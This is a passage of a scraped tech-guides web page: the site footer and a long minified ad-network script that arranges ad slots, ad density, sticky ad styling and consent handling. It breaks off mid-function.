href="https://www.itechguides.com/category/how-to/">How-To</a></li><li><a href="https://www.itechguides.com/category/fix-it/">Fix It</a></li><li><a href="https://www.itechguides.com/category/technology-explained/">Explained</a></li><li><a href="https://www.itechguides.com/category/gadget-reviews/">Reviews</a></li><li><a href="https://www.itechguides.com/category/buying-guides/">Buying Guides</a></li></ul> <ul class="foot-list foot-list--after"> <li><a class="foot-more" href="https://www.itechguides.com/guides/">All 2,405 guides →</a></li> </ul> </nav> <nav class="foot-col foot-col--company" aria-label="Company"> <h2 class="foot-h">Company</h2> <ul id="menu-site-info" class="menu foot-list"><li id="menu-item-862327" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-862327"><a href="https://www.itechguides.com/tools/">Free Tools</a></li> <li id="menu-item-872290" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-872290"><a href="https://www.itechguides.com/community/">Community</a></li> <li id="menu-item-297093" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-297093"><a href="https://www.itechguides.com/about-us/">About Us</a></li> <li id="menu-item-298038" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-298038"><a href="https://www.itechguides.com/contact-us/">Contact Us</a></li> <li id="menu-item-1649" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://www.itechguides.com/terms-conditions/">Terms & Conditions</a></li> <li id="menu-item-1650" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1650"><a href="https://www.itechguides.com/disclaimer/">Disclaimer</a></li> <li id="menu-item-1651" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-1651"><a rel="privacy-policy" href="https://www.itechguides.com/privacy-policy/">Privacy policy</a></li> <li id="menu-item-102421" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102421"><a href="https://www.itechguides.com/cookie-policy/">Cookie Policy</a></li> </ul> <div class="foot-policies"> <div class="foot-col--widgets"><section id="block-13" class="widget widget_block widget_text"> <p class="widget-title wp-block-paragraph">Content Policies</p> </section><section id="nav_menu-11" class="widget widget_nav_menu"><div class="menu-content-policies-container"><ul id="menu-content-policies" class="menu"><li id="menu-item-859545" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-859545"><a href="https://www.itechguides.com/editorial-policy/">Editorial policy</a></li> </ul></div></section></div> </div> </nav> </div> <div class="foot-legal"> <p class="foot-copy">© 2026 iTechGuides. All rights reserved.<span class="foot-updated">Directory updated 30 Sep 2026</span></p> <ul class="foot-social" aria-label="iTechGuides on social media"> <li><a href="https://www.facebook.com/itechguidesblog/" rel="me noopener" target="_blank" aria-label="iTechGuides on Facebook"><svg width="18" height="18" viewBox="0 0 24 24" aria-hidden="true"><path fill="currentColor" d="M13.5 22v-8h2.7l.4-3.2h-3.1V8.8c0-.9.3-1.6 1.6-1.6h1.7V4.3c-.3 0-1.3-.1-2.5-.1-2.5 0-4.1 1.5-4.1 4.2v2.4H7.4V14h2.8v8h3.3Z"/></svg></a></li> <li><a href="https://x.com/itech_guides" rel="me noopener" target="_blank" aria-label="iTechGuides on X (Twitter)"><svg width="18" height="18" viewBox="0 0 24 24" aria-hidden="true"><path fill="currentColor" d="M17.8 3h3.1l-6.8 7.8L22 21h-6.3l-4.9-6.4L5.2 21H2.1l7.3-8.3L1.7 3h6.4l4.4 5.9L17.8 3Zm-1.1 16.2h1.7L7.4 4.7H5.5l11.2 14.5Z"/></svg></a></li> </ul> <a class="foot-top-link" href="#">Back to top<span aria-hidden="true"> ↑</span></a> </div> </div> </footer> <button class="totop" type="button" data-itgw-top aria-label="Back to top" hidden> <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true"><path d="M12 19V5M5 12l7-7 7 7"/></svg> </button> <script data-no-optimize='1' data-cfasync='false' id='cls-insertion-23678f0'>(function(){window.adthriveCLS.buildDate=`2026-09-29`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(` .adthrive-device-phone .adthrive-sticky-content { height: 450px !important; margin-bottom: 100px !important; } .adthrive-content.adthrive-sticky { position: -webkit-sticky; position: sticky !important; top: 42px !important; margin-top: 42px !important; } .adthrive-content.adthrive-sticky:after { content: "— Advertisement. Scroll down to continue. —"; font-size: 10pt; margin-top: 5px; margin-bottom: 5px; display:block; color: #888; } .adthrive-sticky-container { position: relative; display: flex; flex-direction: column; justify-content: flex-start; align-items: center; min-height:${e||400}px; margin: 10px 0 10px 0; background-color: #FAFAFA; padding-bottom:0px; } `),Je=e=>{z(` .adthrive-recipe.adthrive-sticky { position: -webkit-sticky; position: sticky !important; top: 42px !important; margin-top: 42px !important; } .adthrive-recipe-sticky-container { position: relative; display: flex; flex-direction: column; justify-content: flex-start; align-items: center; min-height:${e||400}px !important; margin: 10px 0 10px 0; background-color: #FAFAFA; padding-bottom:0px; } `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let 